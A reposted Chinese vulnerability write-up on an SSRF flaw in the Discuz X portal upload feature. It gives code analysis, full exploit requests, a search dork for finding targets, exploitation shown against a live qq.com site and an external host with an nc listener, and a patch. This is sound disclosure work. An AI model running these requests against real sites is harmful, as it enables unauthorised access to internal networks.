IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    Discuz X系列门户文章功能SSRF漏洞挖掘与分析

    没穿底裤发表于 2016-06-01 09:57:31
    love 0

    ModNar@0keeTeam

    起因&漏洞点

    在看ImageMagick影响DZ这条线,排查上传点时发现的有问题逻辑

    简单说就是:

    1.正则并没对content参数包含的url部分内容做限制,

    2.DZ图片后缀检查函数可用aaa.php#b.jpg绕过

    3.DZ图片内容检查函数限制了非图片文件请求的SSRF利用后的回显

    t0196e08158ebbdf794[1]

    前提分析

    source\include\portalcp\portalcp_upload.php

    Line 19:

    if($aid) {
             //目前只能走aid存在的逻辑,原因上面已解释
             $article = C::t('portal_article_title')->fetch($aid);
             if(!$article) {
                       portal_upload_error(lang('portalcp', 'article_noexist'));
             }
             if(check_articleperm($catid, $aid, $article, false, true) !== true) {
                       portal_upload_error(lang('portalcp', 'article_noallowed'));
             }
    } else {
             if(($return = check_articleperm($catid, $aid, null, false, true)) !== true) {
                       portal_upload_error(lang('portalcp', $return));
             }
    }

     

    source\function\function_portalcp.php

    //此函数用于判断是否具有操作文章的权限,由于前两个条件在数据库里初始化,普通用户无法绕过。

    //所以这里主要关注modauthkey这个函数的算法是否可预测

    function check_articleperm(
             if($_G['group']['allowmanagearticle'] || (empty($aid) && $_G['group']['allowpostarticle']) || $_GET['modarticlekey'] == modauthkey($aid)) {
                       return true;
             }

     

    source\function\function_core.php

    //生成算法里有个authkey,值是Discuz安装时随机生成的

    //于是换个思路去看,是否有调用此函数且泄露到页面里的逻辑

    function modauthkey($id) {
             return md5(getglobal('username').getglobal('uid').getglobal('authkey').substr(TIMESTAMP, 0, -7).$id);
    }

     

    定位前台可能输出modauthkey的点

    source\module\forum\forum_redirect.php

    //这里条件似乎很简单,只要’modthreadkey’参数值不为空即可在跳转链接中带上由tid算出的modauthkey

    //$tid可控是关键

    Line 108:

    header("HTTP/1.1 301 Moved Permanently");
    dheader("Location: forum.php?mod=viewthread&tid=$tid&page=$page$authoridurl$ordertypeurl".(isset($_GET['modthreadkey']) && ($modthreadkey = modauthkey($tid)) ? "&modthreadkey=$modthreadkey": '')."#pid$pid");

     

    Line 22:

    //$ptid, $pid都可由GET参数控制,关键的$tid是由这两个参数查库得来的

    //其中前者和$tid关联度较高,只要数据库里存在对应id,则$_GET[‘ptid’]==$ptid==$tid

    //又因为数据表中自增的id字段是从1开始的,所以前面分析到portalcp_upload.php检查逻辑时,只能走$aid存在且不等于0的逻辑

    if($_GET['goto'] == 'findpost') {
             $post = $thread = array();
             if($ptid) {
                       $thread = get_thread_by_tid($ptid);
             }
             if($pid) {
                       if($thread) {
                                $post = C::t('forum_post')->fetch($thread['posttableid'], $pid);
                       } else {
                                $post = get_post_by_pid($pid);
                       }
                       if($post && empty($thread)) {
                                $thread = get_thread_by_tid($post['tid']);
                       }
             }
             if(empty($thread)) {
                       showmessage('thread_nonexistence');
             } else {
                       $tid = $thread['tid'];
             }

     

    得出利用前提

    ptid==aid且两者必须存在(ptid==帖子id,aid==门户文章id),pid=任意评论id。

    即论坛门户发表过文章,具体可用以下方法探测:

    http://xxx.com/portal.php?mod=view&aid=1

    利用和复现

    以最新的Discuz(20151208)为例

    准备和确认

    http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=view&aid=1

    确认门户中存在发表过的文章,记录下可用的aid

    t01ba146579543cd890[1]

    第一步

    登陆后,请求获取modauthkey算出的一个key,用于操作对应文章:

    http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=redirect&goto=findpost&modthreadkey=1&ptid=1&pid=1

    t0185edcc4345e6c130[1]

    从跳转的链接取出modthreadkey的参数值:

    http://a.cn/discuz_x3.2_sc_gbk/upload/forum.php?mod=viewthread&tid=1&page=1&modthreadkey=fce8163c9f310147f91a244a9eb9dc33#pid1

    第二步

    带上当前formhash,modarticlekey拼上第一步的modthreadkey的值,即可发请求:

    POST:http://a.cn/discuz_x3.2_sc_gbk/upload/portal.php?mod=portalcp&ac=upload&aid=1&catid=1&op=downremotefile&formhash=760dc9d6&modarticlekey=fce8163c9f310147f91a244a9eb9dc33&content=%3Cimg%20src=http://internal.zabbix/images/general/zabbix.png%3E

    aa=a

    http://7u2hr4.com1.z0.glb.clouddn.com/qiniu/3920/image/4b1200225df93d89edbc642a512a4fff.png

    图片被下载并上传到Discuz指定的图片路径下:

    http://a.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626qszsaqolbm9l93qm.png

    http://a.cn/discuz_x3.2_sc_gbk/upload/data/attachment/portal/201605/17/112626qszsaqolbm9l93qm.png.thumb.jpg

    http://7u2hr4.com1.z0.glb.clouddn.com/qiniu/3920/image/2af6007cd2da16fbe974970b051a6a30.png

    线上站点示例

    Baidu:

    site:qq.com inurl:”portal.php?mod=view&aid=”

    http://7u2hr4.com1.z0.glb.clouddn.com/qiniu/3920/image/0834cbf57feec7eb2ded64c5692b21a1.png

    1.SSRF请求图片:
    http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://www.baidu.com/img/bd_logo1.png%3E

     

    保存地址:
    http://mygd.qq.com/tfs/portal/201605/17/172818qm7rrrnp3mkq5c4r.png

    2.      SSRF请求其他地址:
    http://mygd.qq.com/portal.php?mod=portalcp&ac=upload&aid=17&catid=1&op=downremotefile&formhash=754a473f&modarticlekey=652bc33b2c85a19e52ccfb093bf160ce&content=%3Cimg%20src=http://103.42.13.155/justtest.php%231.png%3E

    远程nc监听:

    http://7u2hr4.com1.z0.glb.clouddn.com/qiniu/3920/image/9ee4f38b63602b66694a41fe29fa491d.png

    修复方案

    临时修复方案

    source/include/portalcp/portalcp_upload.php:

    对应修改或新增代码:

     

    function filter_ssrf($url)
    {
             $private_ipList = array(
    "127.0.0.0"=>"127.255.255.255",
             "10.0.0.0"=>"10.255.255.255",
             "172.16.0.0"=>"172.31.255.255",
             "192.168.0.0"=>"192.168.255.255"
             );
             $urlInfo = parse_url($url);
             $ip = gethostbyname($urlInfo['host']);
             $iplong = ip2long($ip);
             if (!empty($iplong)){
                       foreach($private_ipList as $startIp=>$endIp){
                                $startLong = ip2long($startIp);
                                $endLong = ip2long($endIp);
                                if ($iplong >= $startLong && $iplong <= $endLong){
                                         echo "filtered";
                                         return false;
                                }
                       }
                       return true;
             }
             else return false;
    }
    $operation = $_GET['op'] ? $_GET['op'] : '';
    ……
    ……
                                         if(!$upload->is_image_ext($attach['ext'])) {
                                                   continue;
                                         }
                                         $content = '';
                                         if(preg_match('/^(http:\/\/|\.)/i', $imageurl) && filter_ssrf($imageurl)) {
                                                   $content = dfsockopen($imageurl);
                                         } elseif(checkperm('allowdownlocalimg')) {

     

    http://www.discuz.net/thread-3570835-1-1.html官方补丁

    source/function/function_portalcp.php:

    http://7u2hr4.com1.z0.glb.clouddn.com/qiniu/3920/image/344e9731ebe46831d1405db94b59757a.png

    总结

    1.此漏洞的利用需要一定的前提,即论坛管理者在论坛门户发表过文章,具体可用以下方法探测:

    http://*/portal.php?mod=view&aid={30}

    2.下载结合上传的逻辑隐患较多,排查其他类型漏洞的时候可以捎带关注这些逻辑的实现

    3.绕过涉及到随机密钥算法的函数检查,可以全局查找程序可能泄露算法返回值的地方入手



沪ICP备19023445号-2号
友情链接